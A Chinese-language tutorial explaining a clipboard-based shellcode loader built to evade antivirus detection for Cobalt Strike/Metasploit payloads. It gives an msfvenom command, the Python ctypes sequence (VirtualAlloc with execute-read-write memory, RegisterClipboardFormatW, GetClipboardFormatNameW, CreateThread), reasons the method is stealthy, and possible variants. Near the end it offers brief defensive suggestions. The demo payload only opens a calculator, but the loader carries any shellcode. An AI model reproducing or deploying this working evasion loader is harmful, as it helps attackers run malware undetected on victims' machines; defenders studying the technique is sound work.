CS免杀-剪切板加载器
字数 1670 2025-08-09 13:33:32
CS免杀-剪切板加载器技术详解
1. 前言与背景
内存加载器基本原理:
- 申请可执行内存
- 将shellcode写入内存
- 执行该内存
传统方法存在的问题:
- 申请内存相对容易(可通过多种Windows API实现)
- 执行内存内容也有多种方法(CreateThread或回调函数)
- 难点在于如何将shellcode写入内存
传统写入方法:
- RtlMoveMemory/RtlCopyMemory等函数
- UUID方式写入内存
- MAC/IPV4/IPV6方式写入内存
- 读取注册表REG方式写入内存
2. 剪切板技术基础
2.1 剪切板概念
- 一组功能和消息,用于应用程序间数据传输
- 所有应用程序都可以访问剪贴板
- 便于在应用程序之间或应用程序内传输数据
2.2 剪切板格式
- 每种类型的对象对应不同的剪切板格式
- 每种格式有预定义的标识值
- 可以注册新的剪切板格式来存放自定义数据
3. 关键API函数
3.1 RegisterClipboardFormat
功能:注册新的剪贴板格式
函数原型:
UINT RegisterClipboardFormatW(
LPCSTR lpszFormat
);
参数:
lpszFormat:新格式的名称
返回值:
- 成功:返回该格式对应的标识值
- 失败:返回0
3.2 GetClipboardFormatName
功能:从剪贴板中检索指定注册格式的名称,并将名称复制到指定的缓冲区
函数原型:
int GetClipboardFormatNameW(
UINT format,
LPWSTR lpszFormatName,
int cchMaxCount
);
参数:
format:注册的剪贴板格式标识符lpszFormatName:接收格式名称的缓冲区cchMaxCount:缓冲区大小(以字符为单位)
4. 剪切板加载器实现原理
核心思路:
- 使用shellcode作为名称注册一个新的剪切板格式
- 获取该剪切板格式的名称并写入申请的内存
- 执行内存中的shellcode
关键点:
- shellcode必须排除
\x00字符,否则名称会被截断 - 需要先申请可执行内存区域
- 通过GetClipboardFormatName将shellcode写入内存
5. 具体实现步骤
5.1 生成shellcode
使用msfvenom生成shellcode,注意排除\x00字符:
msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -b="\x00" -f py -o 123.py
5.2 申请可执行内存
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(buf)+1, 0x3000, 0x40)
参数说明:
- 0:起始地址(由系统决定)
- len(buf)+1:内存大小
- 0x3000:MEM_COMMIT | MEM_RESERVE
- 0x40:PAGE_EXECUTE_READWRITE
5.3 注册剪切板格式
name = ctypes.windll.user32.RegisterClipboardFormatW(buf)
- 使用shellcode作为名称注册新格式
- 返回格式标识符
5.4 将shellcode写入内存
ctypes.windll.user32.GetClipboardFormatNameW(name, ptr, len(buf)+1)
- 将注册的剪切板格式名称(即shellcode)写入申请的内存
5.5 执行shellcode
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
- 创建线程执行内存中的shellcode
- WaitForSingleObject等待线程执行完成
6. 技术优势与特点
- 新颖的写入方式:利用剪切板API写入内存,不同于传统方法
- 隐蔽性:剪切板操作是系统常见行为,不易被检测
- 灵活性:可以结合其他技术(如格式混淆)增强免杀效果
- 兼容性:适用于多种编程语言实现
7. 注意事项
- shellcode必须排除
\x00字符,否则会被截断 - 需要确保申请的内存具有可执行权限
- 不同系统版本API行为可能略有差异
- 32位和64位系统需要对应版本的payload
- 实际测试环境:Python 2.7,MSF生成64位弹计算器payload
8. 防御建议
针对此类攻击的防御措施:
- 监控异常的剪切板操作
- 检测非常规的剪切板格式注册
- 限制应用程序的剪切板访问权限
- 加强内存执行保护机制
- 使用行为分析检测异常的内存操作序列
9. 扩展思考
可能的变种技术:
- 结合多种写入方式混合使用
- 使用多个剪切板格式分段存储shellcode
- 与其他内存加载技术组合使用
- 利用其他系统组件实现类似功能
10. 总结
剪切板加载器技术提供了一种新颖的内存写入方式,通过利用系统剪切板功能将shellcode写入内存,实现了较好的免杀效果。这种技术展示了攻击者如何利用系统合法功能实现恶意目的,也提醒防御者需要从更全面的角度考虑系统安全防护。